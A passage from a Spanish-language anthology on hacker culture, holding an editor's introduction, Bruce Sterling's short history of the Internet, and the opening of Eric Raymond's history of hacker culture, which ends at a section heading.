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La figura del “hacker” suele aparecer en las noticias y las películas
ligada a usos ilegales de la tecnología. Pueden ser adolescentes irres-
ponsables o enemigos decididos del orden público, más o menos orga-
nizados, pero siempre factores de peligro que disparan la necesidad de
reforzar los controles y sancionar leyes que adapten los viejos códigos
penales a las nuevas realidades de las computadoras. Un chico curioso
desde su cuarto en Caballito, Buenos Aires, puede quebrar las leyes de
varios países y movilizar a sus policías. Un filipino puede escribir un
virus que se propague atravesando fronteras y continentes. Los hackers
son el objeto de discursos sobre seguridad en las redes, que abarcan
desde la preocupación de las agencias de policías y de las grandes
empresas, a la perplejidad de los expertos en leyes que deben crear nue-
vos artilugios legales para clasificarlos, y la espectacularidad con la que
irrumpen en las crónicas de los noticieros como personajes de cierto
sub-mundo criminal. Así vistos, los hackers participan de las nuevas
tecnologías en un nivel similar al de otros fenómenos que obstaculizan
el flujo de los negocios por las redes o echan mantos de sospecha moral
sobre ellas; si el “correo basura” satura las casillas de los usuarios y hace
perder horas de valioso tiempo, y si el negocio de la pornografía infan-
til o los mercados de tráfico ilegal se montan en el anonimato que per-
miten los intercambios de mails en Internet, los hackers son otra zona de
inseguridad que obliga a reforzar los controles y mantener activo el
estado de sospecha. 

Pero los hackers no se ven a sí mismos como delincuentes, y de
hecho ya se hacían llamar “hackers” cuando la mayoría no se había
enterado todavía de qué era exactamente una computadora. Dejando de
lado el estereotipo, ¿por qué son interesantes los hackers? El tema de
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este libro no son los hackers como tales, sino su mirada respecto a aque-
llo que hacen. Para los primeros que empezaron a llamarse “hackers”
entre sí, en el MIT (Instituto de Tecnología de Massachusetts) en
EE.UU., lo que hacían los diferenciaba radicalmente de los demás técni-
cos y profesores. Éstos cumplían horarios, se ajustaban a la burocracia e
investigaban sobre computadoras según sus aplicaciones en estadística
y otros campos específicos. Los hackers empezaron a experimentar en
usos más terrenales, programas que tocaban música, procesadores de
texto, juegos de ajedrez. Esas primeras creaciones fueron el comienzo de
una larga serie de aportes y proyectos que tuvieron como protagonistas
a estos grupos de entusiastas (desde las computadoras personales a la
arquitectura de Internet, pasando por la criptografía y la idea del códi-
go abierto que derivó en el actual auge de Linux). Como lo relata Levy
en su libro Hackers, ya entonces promovían formas de trabajo que con-
templaban una dimensión colectiva de la tecnología: facilitar el acceso
de todos y compartir el conocimiento. 

El software libre es una concepción colectiva de la propiedad. Todos
los que escriben el código de un programa son dueños de él; y todas las
personas pueden escribir y cambiar el código si quieren, y saben cómo
hacerlo. Esto es lo que opone a los sistemas operativos Windows y
Linux: modelo abierto y participativo de Linux, contra el de Windows,
cerrado, orientado a la maximización de ganancias. Es una idea presen-
te entre los hackers desde los comienzos de la informática. El escritor
Neal Stephenson lo describe así: “Windows 95 y MacOS son productos,
concebidos por ingenieros al servicio de compañías particulares. Unix,1
en cambio, es menos un producto que la esmerada recopilación de la
historia oral de la subcultura hacker. Es nuestra epopeya de
Gilgamesh.” Y sigue: “Lo que hacía tan poderosas y duraderas a las vie-
jas epopeyas como la de Gilgamesh era el hecho de que consistieran en
cuerpos de narrativas vivientes que muchas personas conocían de
memoria, y relataban una y otra vez –haciendo sus retoques personales
cada vez que les parecía. Los malos retoques se descartaban, los buenos
eran recogidos por otros, se pulían, mejoraban y, con el tiempo, eran
incorporados a la historia. Del mismo modo, Unix es conocido, amado

1. Sistema operativo del que deriva Linux.
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y comprendido por tantos hackers que puede ser reescrito desde cero en
cuanto alguien lo necesite. Esto es muy difícil de entender para las per-
sonas acostumbradas a pensar que los sistemas operativos son cosas
que necesariamente hay que comprar.” (de En el principio fue… la línea de
comando de Neal Stephenson).2

Un punto de partida para situar o pensar el papel de los hackers,
podría ser este entusiasmo por lo que hacen, el orgullo por sus obras y
la valoración de las personas según sus conocimientos y destrezas, que
se refleja en las palabras del hacker y ensayista Eric Raymond, “La cul-
tura hacker no tiene líderes, pero tiene héroes culturales, ancianos de la
tribu, historiadores y portavoces”. De donde se desprende también el
sentido de horizontalidad a la hora de participar y hacer aportes, que
todos señalan como rasgo característico.

Cuando un grupo de hackers a fines de los ‘70 desarrolló técnicas
de criptografía avanzada que habían copiado del Ejército de EE.UU., y
diseñó programas que garantizan la privacidad de las comunicaciones
por Internet, el gobierno de EE.UU. puso esos programas en la lista de
productos con restricciones para la exportación. Sacarlos del país según
estas leyes implica un delito del mismo calibre que el tráfico de armas
nucleares. La difusión vía Internet de estos programas de criptografía,
gratis y con código abierto, logró que se convirtieran en un standard de
seguridad en todo el mundo. Este sería otro rasgo a tener en cuenta, el
de la iniciativa personal, la autogestión de proyectos que partiendo de
necesidades personales o locales, luego terminan beneficiando a la
sociedad en general. Paradigma de esto es el caso de Linus Torvalds, el
hacker finlandés que en 1991 empezó a programar un sistema operati-
vo tipo Unix para usar en la PC-386 que tenía en su casa; un proyecto
que con el tiempo se convertiría en Linux, el sistema operativo de dis-
tribución gratuita que hoy usan millones de personas. 

También se llaman a sí mismos “hackers” personas que se especia-
lizan en violar la protección de computadoras y redes privadas. Son los
que suelen aparecer en las noticias y representados en algunas pelícu-
las, como la famosa Juegos de Guerra. En este caso se los asocia con ado-
lescentes que se divierten con el riesgo y el desafío que implica meterse

2 . En http://www.sindominio.net/biblioweb/telematica/command_es
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en sistemas de empresas o gobiernos. En el libro Llaneros Solitarios,
Fernando Bonsembiante narra las historias de varios hackers argentinos
que a mediados de los ´80 aprendieron a aprovechar las fallas de segu-
ridad de las redes locales, para usar el acceso a Internet con el que con-
taban algunas empresas antes de que Internet se popularizara. Así,
muchos de ellos pudieron acceder a foros de chat instalados en sistemas
“hackeados” y frecuentados por hackers de otras partes del mundo. En
1994 la revista Virus Report dirigida por Fernando Bonsembiante, orga-
nizó un congreso de hackers en el Centro Cultural Recoleta, en Buenos
Aires, al que asistieron hackers famosos como el neoyorquino
Emmanuel Goldstein, editor de una revista legendaria entre los hackers,
la 2600. Por su parte, los programadores de Linux y los impulsores del
Software Libre tienden a negar que aquellos sean verdaderos hackers y
los asocian con delincuentes, llamándolos “crackers”.

El filósofo finlandés Pekka Himanen escribió en La ética de los
hackers y el espíritu de la era de la información –haciendo a un lado a estos
crackers, como primer paso–, un análisis de las motivaciones y modos
de entender el trabajo en la “cultura hacker”, a la que considera un
quiebre respecto a la cultura del trabajo heredera de la ética protestan-
te.3 Contra las ideas de sacrificio y de búsqueda permanente de maxi-
mización de ganancias, la ética de los hackers propone la pasión, la
libertad para organizar el tiempo y el trabajo, metas que no toman el
dinero como fin en sí mismo, sino que se orientan a la cooperación y el
interés social. Manuel Castells les atribuye un rol fundamental en el de-
sarrollo de Internet y de lo que él llama la sociedad red, dada su influen-
cia desde los orígenes de la arquitectura y el estilo de organización
abierto y horizontal de las redes de computadoras. 

Un modo de entender la actividad de los hackers sería a partir de lo
que producen con sus creaciones o sus paseos furtivos por las redes, en
tanto puntos de vistas respecto a sus herramientas –las computadoras.
Todo un mundo queda expuesto cuando a un grupo de hackers se les
ocurre crear programas y repartirlos para que los usen todos los que
quieran, o cuando diseñan sistemas de criptografía avanzada para
usuarios comunes, e incluso cuando ponen en evidencia la mala seguri-

3. La ética de los hackers y el espíritu de la era de la información. Barcelona, Destino, 2002
(hay reimpresión argentina).
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dad de los programas y las redes que utilizan las empresas y los gobier-
nos. Se cuestionan las leyes de copyright, se pone en duda la privacidad
de las comunicaciones, y se abre una disputa sobre el control y la fun-
ción de policía del Estado respecto a los usuarios de las redes. Pero
sobre todo se deja ver un modo de vincularse a las tecnologías por el
interés directo, por la pasión de conocer, aprender y compartir con otros
lo aprendido. En definitiva, por amor a la profesión (o al arte). Entonces,
si hubiera que responder a la pregunta de por qué son interesantes los
hackers, la respuesta tentativa sería porque producen visiones y pro-
puestas creativas y apasionantes sobre la tecnología, ya sea que lo hagan
porque se lo proponen, o porque surgen como resultado de su presen-
cia, por los cuestionamientos e interrogantes que ésta plantea. 

Esta antología de textos pretende dar un panorama que sirva de
introducción a varios temas vinculados a los hackers y sus actividades
en distintas áreas. Arranca con una sección de “Historia” con dos textos
de Eric Raymond y el escritor Bruce Sterling sobre la historia de Internet
y la cultura hacker. En “Software Libre” se incluyen un artículo de
Miquel Vidal que es una introducción, a la vez que balance crítico, del
software libre, junto con una selección de notas y artículos de Richard
Stallman, el impulsor de la patente GNU y la Fundación Software Libre,
en los que debate sobre la importancia de volver a pensar las regulacio-
nes de copyright en función de las nuevas tecnologías y sobre la posibi-
lidad que brindan las redes de compartir la información (ya sean pro-
gramas, música o literatura). En la sección “Criptografía” se incluyen
dos intervenciones (un manifiesto y una ponencia en un congreso) de
Eric Hughes y John Gilmore, que son dos de los hackers más destacados
del grupo Cypherpunks (“Cripto-hackers”), un grupo estadounidense
dedicado a programar y difundir al gran público métodos de encripta-
ción de datos para hacer más seguras las comunicaciones. En “Hackers”
se presentan dos artículos de Steve Mizrach y Jonas Löwgren, que ana-
lizan las distintas ideas que suelen asociarse a los hackers, y las discu-
siones entre hackers “constructivos” y hackers que violan la seguridad
de los sistemas. También se incluyen aquí dos textos del hacker italiano
jaromil en los que se explaya al respecto. Queda por hablar de las sec-
ciones “Activismo” y “Tecnologías”. Éstas no hacen referencia explícita
a los hackers y sus actividades, pero los incluimos los textos porque cre-
emos que sirven para completar el panorama abierto por las demás sec-
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ciones. En la sección “Activismo” un artículo de Miquel Vidal y otro
escrito por Marilina Winik del grupo Indymedia Argentina, se refieren
a las posibilidades que abre Internet para garantizar la libre circulación
de información que no encuentra espacios en los medios tradicionales.
La sección “Tecnologías” recopila notas que desde distintas perspecti-
vas y disciplinas reflexionan sobre las relaciones entre los hombres, las
tecnologías que desarrollan y lo que piensan e imaginan sobre ellas.
Aquí se incluyen textos de escritores como Thomas Pynchon y Bruce
Sterling, del sociólogo argentino Christian Ferrer y del ingeniero infor-
mático Bill Joy. 

Carlos Gradin
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grantes de la Editora Fantasma también ayudaron con ideas y buena
onda, así que gracias a ellos también.
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Hace unos treinta años, la RAND Corporation, la principal fábrica
de ideas de la América de la guerra fría, se enfrentó a un extraño pro-
blema estratégico. ¿Cómo se podrían comunicar con éxito las autorida-
des norteamericanas tras una guerra nuclear?

La América postnuclear necesitaría una red de comando y control
enlazada de ciudad a ciudad, estado a estado, base a base. Pero sin
importar cómo esa red estuviera de protegida, sus líneas y equipos
siempre serían vulnerables al impacto de bombas atómicas. Un ataque
nuclear reduciría cualquier red imaginable a pedazos.

¿Cómo sería controlada esa red? Cualquier autoridad central, cual-
quier núcleo de red centralizado sería un objetivo obvio e inmediato
para un misil enemigo. El centro de la red sería el primer lugar a derri-
bar.

La RAND le dio muchas vueltas a este difícil asunto en secreto mili-
tar y llegó a una solución atrevida. La propuesta de la RAND (ideada
por uno de sus miembros, Paul Baran) se hizo pública en 1964. En pri-
mer lugar, la red no tendría autoridad central. Además, sería diseñada
desde el principio para operar incluso hecha pedazos.

Los principios eran simples. Se asumiría que una red era poco fia-
ble en cualquier momento. Se diseñaría para trascender su propia falta
de eficacia. Todos los nodos en la red serían iguales entre sí, cada nodo
con autoridad para crear, pasar y recibir mensajes. Los mensajes se divi-
dirían en paquetes, cada paquete dirigido por separado. Cada paquete

Breve historia de Internet*
Bruce Sterling

* “Short history of Internet”. Traducción de Antonio Montesinos
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saldría de un nodo fuente específico y terminaría en un nodo destino.
Cada paquete recorrería la red según unos principios particulares.

La ruta que tome cada paquete no tendría importancia. Solo conta-
rían los resultados finales. Básicamente, el paquete sería lanzado como
una patata de un nodo a otro, más o menos en dirección a su destino,
hasta acabar en el lugar adecuado. Si grandes porciones de la red fueran
destruidas eso simplemente no importaría; los paquetes permanecerían
en la red en los nodos que hubieran sobrevivido. Este sistema de envío
tan arbitrario podría parecer “ineficiente” en el sentido usual del térmi-
no (especialmente comparado con, por ejemplo, el sistema telefónico).

Durante los ‘60, este intrigante concepto de red de conmutación de
paquetes descentralizada y a prueba de bombas caminó sin rumbo entre
el RAND, el MIT [Massachusetts Institute of Technology] y la UCLA
[University of California in Los Angeles]. El National Physical Laboratory
[Laboratorio Nacional de Física] de Gran Bretaña preparó la primera
red de prueba basada en estos principios en 1968. Poco después, la
Agencia de Proyectos de Investigación Avanzada del Pentágono [ARPA,
Advanced Research Projects Agency] decidió financiar un proyecto más
ambicioso y de mayor envergadura en los Estados Unidos. Los nodos de
la red iban a ser superordenadores de alta velocidad (o lo que se llama-
ra así en aquel momento). Eran máquinas poco usuales y de mucho
valor y que estaban necesitadas de un buen entramado de red para pro-
yectos nacionales de investigación y desarrollo.

En el otoño [boreal] de 1969 el primero de esos nodos fue instalado
en UCLA. En diciembre de ese año había cuatro nodos en la pequeña
red, que se llamó ARPANET después de que fuera promocionada por el
Pentágono. Los cuatro ordenadores podían transferir información sobre
líneas dedicadas de alta velocidad. Incluso podían ser programados
remotamente desde otros nodos. Gracias a ARPANET, científicos e
investigadores podían compartir las facilidades de otros ordenadores en
la distancia. Era un servicio muy útil ya que el tiempo de proceso de los
ordenadores en los ‘70 era algo muy codiciado. En 1971 había quince
nodos en ARPANET; en 1972, treinta y siete. Todo iba perfecto.

En su segundo año de operatividad, sin embargo, algo extraño se
hizo patente. Los usuarios de ARPANET habían convertido la red en
una oficina de correos electrónica de alta velocidad subvencionada fede-
ralmente. La mayor parte del tráfico de ARPANET no era el proceso de



BREVE HISTORIA DE INTERNET 19

datos a largas distancias. En vez de eso, lo que se movía por allí eran
noticias y mensajes personales. Los investigadores estaban usando
ARPANET para colaborar en proyectos, intercambiar notas sobre sus
trabajos y, eventualmente, chismorrear. La gente tenía sus propias cuen-
tas personales en los ordenadores de ARPANET y sus direcciones per-
sonales de correo electrónico. No es que sólo utilizaran ARPANET para
la comunicación de persona a persona, pero había mucho entusiasmo
por esta posibilidad –mucho más que por la computación a larga dis-
tancia.

Eso no pasó mucho antes del invento de las listas de distribución,
una técnica de emisión de información por ARPANET mediante la cual
un mismo mensaje se podía enviar automáticamente a una gran canti-
dad de subscriptores. Es interesante que una de las primeras listas de
distribución masivas se llamara “SF-LOVERS” [Amantes de la Ciencia
Ficción]. Discutir sobre ciencia ficción en la red no tenía nada que ver
con el trabajo y eso enfadaba a muchos administradores de sistema de
ARPANET, pero eso no impediría que la cosa siguiera.

Durante los ‘70, ARPANET creció. Su estructura descentralizada
facilitó la expansión. Contrariamente a las redes standard de las empre-
sas, la red de ARPA se podía acomodar a diferentes tipos de ordenador.
En tanto y en cuanto una máquina individual pudiese hablar el lengua-
je de conmutación de paquetes de la nueva y anárquica red, su marca,
contenidos e incluso su propietario eran irrelevantes.

El estándar de comunicaciones de ARPA era conocido como NCP,
“Network Control Protocol”, pero según pasaba el tiempo y la técnica
avanzaba, el NCP fue superado por un estándar de más alto nivel y más
sofisticado conocido como TCP/IP. El TCP o “Transmission Control
Protocol”, convierte los mensajes en un caudal de paquetes en el orde-
nador fuente y los reordena en el ordenador destino. El IP, o “Internet
Protocol”, maneja las direcciones comprobando que los paquetes cami-
nan por múltiples nodos e incluso por múltiples redes con múltiples
standards –no sólo ARPA fue pionera en el standard NCP, sino también
Ethernet, FDDI y X.25.

En 1977, TCP/IP se usaba en otras redes para conectarse a ARPA-
NET. ARPANET estuvo controlada muy estrictamente hasta al menos
1983, cuando su parte militar se desmembró de ella formando la red
MILNET. Pero el TCP/IP las unía a todas. Y ARPANET, aunque iba cre-
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ciendo, se convirtió en un cada vez más pequeño barrio en medio de la
vasta galaxia de otras máquinas conectadas.

Según avanzaban los ‘70 y ‘80, distintos grupos sociales se encon-
traban en posesión de potentes ordenadores. Era muy fácil conectar esas
máquinas a la creciente red de redes. Conforme el uso del TCP/IP se
hacía más común, redes enteras caían abrazadas y adheridas a Internet.
Siendo el software llamado TCP/IP de dominio público y la tecnología
básica descentralizada y anárquica por propia naturaleza, era muy difí-
cil parar a la gente e impedir que se conectara. De hecho, nadie quería
impedir a nadie la conexión a esta compleja ramificación de redes que
llegó a conocerse como “Internet”.

Conectarse a Internet costaba al contribuyente muy poco o nada
desde que cada nodo era independiente y tenía que arreglárselas con la
financiación y los requerimientos técnicos. Cuantos más, mejor. Como la
red telefónica, la red de ordenadores era cada vez más valiosa según
abarcaba grandes extensiones de terreno, gente y recursos.

Un fax solo es útil si alguien más tiene un fax. Mientras tanto no es
más que una curiosidad. ARPANET, también, fue una curiosidad
durante un tiempo. Después la red de ordenadores se convirtió en una
necesidad importante.

En 1984 la Fundación Nacional para la Ciencia [National Science
Foundation, NSF] entró en escena a través de su Oficina de Computación
Científica Avanzada [Office of Advanced Scientific Computing]. La nueva
NSFNET supuso un paso muy importante en los avances técnicos
conectando nuevas, más rápidas y potentes supercomputadoras a tra-
vés de enlaces más amplios, rápidos, actualizados y expandidos según
pasaban los años, 1986, 1988 y 1990. Otras agencias gubernamentales
también se unieron: NASA, los Institutos Nacionales de la Salud, el
Departamento de Energía, cada uno manteniendo cierto poderío digital
en la confederación Internet. 

Los nodos de esta creciente red de redes se dividían en subdivisio-
nes básicas. Los ordenadores extranjeros y unos pocos americanos eli-
gieron ser denominados según su localización geográfica. Los otros fue-
ron agrupados en los seis “dominios” básicos de Internet: gov, mil, edu,
com, org y net (estas abreviaturas tan sosas pertenecen al estándar de
los protocolos TCP/IP). Gov, Mil y Edu definen al gobierno, militares e
instituciones educativas, las cuales fueron, por supuesto, pioneras de la
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ARPANET que comenzó como un experimento de alta tecnología en
seguridad nacional. Com, sin embargo, definía a instituciones “comer-
ciales”, que enseguida entraron a la red como toros de rodeo rodeadas
por una nube de entusiastas organizaciones sin ánimo de lucro (los
ordenadores tipo “net” servían como pasarelas entre redes).

La red ARPANET propiamente dicha expiró en 1989 como víctima
feliz de su éxito abrumador. Sus usuarios apenas se dieron cuenta, pero
las funciones de ARPANET no solo continuaron sino que mejoraron fir-
memente. El uso del estándar TCP/IP para redes es ahora algo global.
En 1971, hace 21 años, sólo había cuatro nodos en la ARPANET. Hoy
existen decenas de miles en Internet esparcidos por cuarenta y dos paí-
ses y muchos más que se conectan cada día. Tres millones de personas,
posiblemente cuatro, usan esta gigantesca madre-de-todas-las-redes.

Internet es especialmente popular entre los científicos y es proba-
blemente su instrumento más importante de finales del siglo XX. Las
posibilidades de acceso tan potentes y sofisticadas que ofrece a datos
específicos y a la comunicación personal ha elevado la marcha de la
investigación científica enormemente.

El índice de crecimiento de Internet a comienzo de los ‘90 es espec-
tacular, casi feroz. Se extiende más rápidamente que los teléfonos móvi-
les y que el fax. El año pasado [1991] Internet crecía a un ritmo del 20%
mensual. El número de ordenadores con conexión directa al TCP/IP se
ha estado doblando anualmente desde 1988. Internet se está desplazan-
do de su origen militar y científico a las escuelas de enseñanza básica e
institutos, al mismo tiempo que a bibliotecas públicas y el sector comer-
cial.

¿Por qué la gente quiere estar “en la internet”? Una de las principa-
les razones es simplemente la libertad. Internet es un raro ejemplo de
anarquía verdadera, moderna y funcional. No existe Internet S.A. No
hay censores oficiales, ni jefes, ni junta directiva, ni accionistas. En prin-
cipio, cualquier nodo puede hablar de igual a igual a otros nodos siem-
pre que obedezcan las leyes del protocolo TCP/IP, leyes que no son polí-
ticas sino estrictamente técnicas. (Ha existido controversia sobre el uso
comercial de Internet, pero esta situación está cambiando según los
negocios proporcionan sus propios enlaces y conexiones.) 

Internet también es una ganga. Internet en conjunto, a diferencia
del sistema telefónico, no cuesta dinero según las distancias. Y a dife-
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rencia también de la mayoría de las redes comerciales, no se cobra por
tiempo de conexión. De hecho, “Internet” de por sí, que ni siquiera exis-
te como una entidad, no cobra nada por nada. Cada grupo de gente que
accede a Internet es responsable de su propia máquina y de su propio
trozo de línea.

La “anarquía” de Internet puede parecer extraña o incluso poco
natural, pero tiene cierta profundidad y sentido. Es como la “anarquía”
del idioma inglés. Nadie alquila el inglés y nadie lo posee. Como anglo-
parlante, depende de ti aprender hablar inglés correctamente y usarlo
para lo que quieras (aunque el gobierno proporciona fondos para ayu-
darte a que aprendas a leer y escribir algo). Aunque mucha gente se
gana la vida usando, explotando y enseñando inglés, el “Inglés” como
institución es una propiedad pública, un bien común. Mucho de eso
ocurre con Internet. ¿Mejoraría el inglés si “Idioma Inglés S.A.” tuviera
un consejo de administración con su director o ejecutivo al frente, un
presidente y una asamblea? Probablemente existirían muchas menos
palabras en el idioma inglés, y muchas menos nuevas ideas.

La gente en Internet siente que se trata de una institución que se
resiste a la institucionalización. El interés pertenece a todos y a nadie.

A pesar de esto, hay quién tiene intereses en Internet. Los nego-
ciantes quieren que Internet tenga una base financiera. Los gobernantes
la quieren más regulada. Los académicos la quieren para fines de inves-
tigación. Los militares para la seguridad. Y así muchos más. 

Todas estas fuentes de conflicto permanecen en torpe equilibrio, e
Internet, hasta ahora, se mantiene en próspera anarquía. Antes, las lí-
neas de alta velocidad de la NSFnet eran conocidas como la “Espina
dorsal de Internet” [Internet Backbone], y sus propietarios podían seño-
rearse con el resto de Internet; pero hoy existen “espinas dorsales” en
Canadá, Japón y Europa, e incluso algunas privadas para el tráfico
comercial. Hoy, incluso ordenadores domésticos privados pueden con-
vertirse en nodos de Internet. Se pueden llevar bajo el brazo. Pronto,
quizás, en la muñeca.

Pero, ¿qué es lo que uno hace con Internet? Básicamente, cuatro
cosas: correspondencia, grupos de discusión, computación a larga dis-
tancia y transferencia de archivos.

El correo de Internet es el correo electrónico [e-mail], mucho más
rápido que el correo postal norteamericano, que es llamado despectiva-
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mente por los usuarios de Internet como “correo caracol” [snail mail]. El
correo en Internet es algo como el fax. Es texto electrónico, y no tienes
que pagar por él (al menos directamente) y es a escala global. Por correo
electrónico se puede mandar software y algunos tipos de imágenes
comprimidas. Se está trabajando en nuevas formas de correo electróni-
co.

Los grupos de discusión, o “newsgroups”, son un mundo aparte.
Este mundo de debate y argumentaciones se conoce como “USENET”.
USENET es de hecho diferente a Internet. USENET es como una multi-
tud ondulante de gente chismosa y con ganas de información que se
mueve por Internet en busca de barbacoas de patio trasero. USENET no
es tanto una red física como un conjunto de convenciones. En cualquier
caso, ahora existen 2.500 grupos de discusión separados en USENET y
sus mensajes generan unos 7 millones de palabras al día. Naturalmente
se habla mucho sobre ordenadores en USENET, pero la variedad de
temas sobre los que se habla es enorme, creciendo estos continuamente.
En USENET se distribuyen varias publicaciones electrónicas gratuitas
de manera periódica.

Estos grupos y el correo electrónico están disponibles fácilmente,
incluso fuera del corazón de Internet. Se puede acceder a ellos a través
de las líneas de teléfono normales, desde otras redes como BITnet,
UUCP y Fidonet. Los últimos servicios de Internet, computación a larga
distancia y transferencia de archivos, requieren de conexión directa
usando TCP/IP.

La computación a larga distancia fue algo pensado para ARPANET
y aún se usa mucho, al menos por algunos. Los programadores pueden
mantener sus cuentas abiertas en poderosos super-ordenadores y ejecu-
tar allí sus programas o crear otros nuevos. Los científicos pueden usar
potentes ordenadores desde otros continentes. Las bibliotecas ofrecen
sus catálogos electrónicos para que se busque en ellos gratuitamente.
Enormes catálogos en CD-ROM están disponibles a través de este ser-
vicio. Y existe mucho software gratuito al mismo tiempo. 

La transferencia de ficheros permite a los usuarios acceder a máqui-
nas remotas y tomar de ellas programas o textos. Muchos ordenadores
de Internet –unos dos mil o más– permiten que se acceda a ellos de
manera anónima y que la gente use sus archivos de manera gratuita.
Esto no es algo trivial, ya que libros enteros se pueden transferir en
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cuestión de minutos. Hoy, en 1992, existen más de un millón de ficheros
públicos disponibles a quién los quiera utilizar (y otros millones dispo-
nibles a gente con autorización). La transferencia de ficheros por
Internet se está convirtiendo en una nueva forma de publicación, en la
que el lector copia electrónicamente el texto que desee en la cantidad
que quiera y de forma gratuita. Nuevos programas de Internet, como
“archie”, “gopher” y “WAIS” se han desarrollado para catalogar y
explorar esa cantidad de material.

Esta Internet sin cabeza, anárquica y con millones de tentáculos se
está extendiendo como el pan de molde. Cada ordenador con la poten-
cia suficiente es una espora potencial de Internet y hoy los ordenadores
se venden a menos de 2.000 dólares y están disponibles en todo el
mundo. La red ARPA, diseñada para asegurar el control de una socie-
dad desolada después de un holocausto nuclear, ha sido sobrepasada
por su hija mutante, Internet, que está a fuera de control a conciencia y
se expande exponencialmente por la aldea global de la post guerra fría.
La expansión de Internet en los ‘90 se parece a la que sufrió la informá-
tica personal en los ‘70, aunque es más rápida y más importante. Más
importante, quizás, porque da a los ordenadores personales una imagen
de algo barato, de fácil acceso y con posibilidades de almacenaje a una
escala realmente planetaria.

El futuro de Internet pasa por ser más grande y con velocidades
exponencialmente mayores. La comercialización de Internet es un tema
candente hoy día, donde se promete cualquier tipo de comercialización
salvaje de la información. El gobierno federal, agradecido por este éxito
inesperado, aún tiene mucho que decir en esto. La NREN, National
Research and Educational Network [Red Nacional de Educación e
Investigación], fue aprobada en el otoño de 1991 como un proyecto a
cinco años y con un presupuesto de dos mil millones de dólares para
que la red troncal de Internet fuera actualizada. NREN será unas 50
veces más rápida que la red más rápida de hoy día permitiendo la trans-
ferencia de la Enciclopedia Británica en un segundo. Las redes de orde-
nadores permitirán gráficos animados en 3-D, enlaces de radio y teléfo-
nos móviles a ordenadores portátiles, fax, voz y televisión de alta defi-
nición. ¡Un circo global multimedia!

O al menos así se espera –y se planea. La Internet real del futuro
debe soportar pocos parecidos con los planes de hoy. Prever las cosas
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nunca ha tenido mucho que ver con el rápido desarrollo de Internet.
Después de todo, Internet se parece muy poco a aquellos sombríos pla-
nes del RAND para el post-holocausto. Esto resulta una sutil y feliz iro-
nía.

¿Cómo se accede a Internet? Bien, si no se tiene un ordenador con
módem, hay que hacerse de uno. El ordenador puede actuar como una
terminal y se puede usar una línea de teléfonos ordinaria para conec-
tarse a una máquina enganchada a Internet. Simplemente esto puede
hacer que se tenga acceso a los grupos de discusión y a una dirección de
correo electrónico propia. Merece la pena tener estos servicios –aunque
sólo con el correo y las noticias no se está del todo “en Internet”.

Si está usted en un campus, la universidad puede que tenga “acce-
so directo” a líneas TCP/IP de Internet de alta velocidad. Hágase con
una cuenta de Internet en un ordenador del campus y será capaz de uti-
lizar los servicios de computación remota y la transferencia de archivos.
Algunas ciudades como Cleveland proporcionan acceso gratuito a la
red. Las empresas tienen cada vez más posibilidades de acceso y están
deseando vender esos accesos a sus clientes. La cuota estándar es de
unos 40 dólares al mes –más o menos como el servicio de TV por cable.

Según avancen los noventas, encontrar acceso a Internet será mucho
más fácil y barato. Su facilidad de uso también mejorará del salvaje
interfase UNIX del TCP/IP a otros muchos más intuitivos y cómodos
para el usuario, eso es una buena noticia. Aprender Internet ahora, o al
menos aprender sobre Internet, es para entendidos. Cuando cambiemos
de siglo la “cultura de redes”, tal como la “cultura de los ordenadores”
antes de ésta, se introducirá forzosamente en el ámbito de su vida.
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Prólogo: Los Programadores Auténticos

En el principio había Programadores Auténticos.
No se hacían llamar así. Tampoco “hackers”, ni de otra manera en

particular: el apodo de “Programadores Auténticos” no se acuñó hasta
1980. Pero de 1945 en adelante la tecnología de la computación atrajo a
muchas de las mentes más brillantes y creativas del mundo. Desde la
ENIAC1 de Eckert y Mauchly existió una cultura técnica de programa-
dores entusiastas ininterrumpida y consciente de sí misma, gente que
creaba y jugaba con el software para divertirse. 

Los “Programadores Auténticos” venían en general de la física y la
ingeniería. Vestían medias blancas y chombas de poliéster, y corbatas y
anteojos gruesos, y escribían programas en lenguaje de máquina y
assembler y FORTRAN y en media docena de lenguajes hoy olvidados.
Estos fueron los precursores de la cultura hacker, los protagonistas de
su prehistoria a los que las tradiciones ya no recuerdan.

Desde el fin de la Segunda Guerra Mundial hasta comienzos de los
‘70, en los grandes días de la computación batch2 y de las grandes cen-
trales “de hierro”, los Programadores Auténticos fueron la cultura téc-
nica dominante de la computación. Algunos fragmentos de folklore
hacker de culto provienen de esta época, incluyendo la conocida histo-

Breve historia de la «cultura hacker»*
Eric S. Raymond

* “Brief History of Hackerdom”. Traducción de Carlos Gradin.
1. La primera computadora fabricada en 1945 en la Universidad de Pennsylvania,
Estados Unidos. Ocupaba una habitación y pesaba treinta toneladas. (N. del T.)
2. La época de las computadoras que sólo podían procesar información y no inter-
actuaban con los usuarios en tiempo real. (N. del T.)
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ria de Mel (incluida en la Jargon File3), muchas Leyes de Murphy y el
póster de “Blinkenlights” de parodia nazi4 que aún hoy decora muchos
salones de computadoras.

Algunos de los que se iniciaron en la cultura de los “Programadores
Auténticos” siguieron activos en los ‘90. Se dice que Seymour Cray, el
diseñador de la línea de súper computadoras Cray, una vez puso en
marcha un sistema operativo escrito por él mismo en una computadora
armada por él mismo. En octal. Sin errores. Y funcionó. Programador
Auténtico de Elite.

A otro nivel, Stan Kelly-Bootle, autor de The Devil´s DP Dictionary
(New York, McGraw-Hill, 1981) y gran folklorista, programó en la
Manchester Mark I, la primera computadora digital totalmente operati-
va y con un programa almacenado en la memoria, en 1948. Hoy escribe
columnas humorísticas sobre tecnología para revistas de computación
que suelen adoptar la forma de conversaciones intensas y sabias con la
cultura hacker.

Otros, como David E. Lundstrom, han escrito la historia de esos pri-
meros años y sus anécdotas (A Few Good Men From UNIVAC.
Cambridge, MIT Press, 1987).

Lo que introdujo la cultura de los “Programadores Auténticos” fue
el despertar de la computación interactiva, las universidades y las redes.
Estas dieron nacimiento a una ininterrumpida tradición de ingeniería y
programas que, eventualmente, daría lugar a la actual cultura hacker de
código abierto.

3. La Jargon File (Archivo de Argot, o Jerga) es una recopilación armada colectiva-
mente por hackers de términos que utilizan para hablar de su trabajo, y que tam-
bién incluye historias y anécdotas de hackers famosos. La cantidad de nuevas
expresiones, metáforas y juegos de palabras que contiene, descriptas e historizadas
con verdadero amor filológico, podrían llenar las páginas de un diccionario
mediano. Su origen se remonta a principios de los ‘70, cumpliendo el rol de heren-
cia común del ámbito hacker. Su editor actual es Eric S. Raymond
(http://www.catb.org/~esr/jargon/). (N. del T.)
4. Un póster colgado en muchos laboratorios de computación, que parodiaba a los
avisos de advertencia nazis (ver Jargon File). (N. del T.)
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Los Primeros Hackers

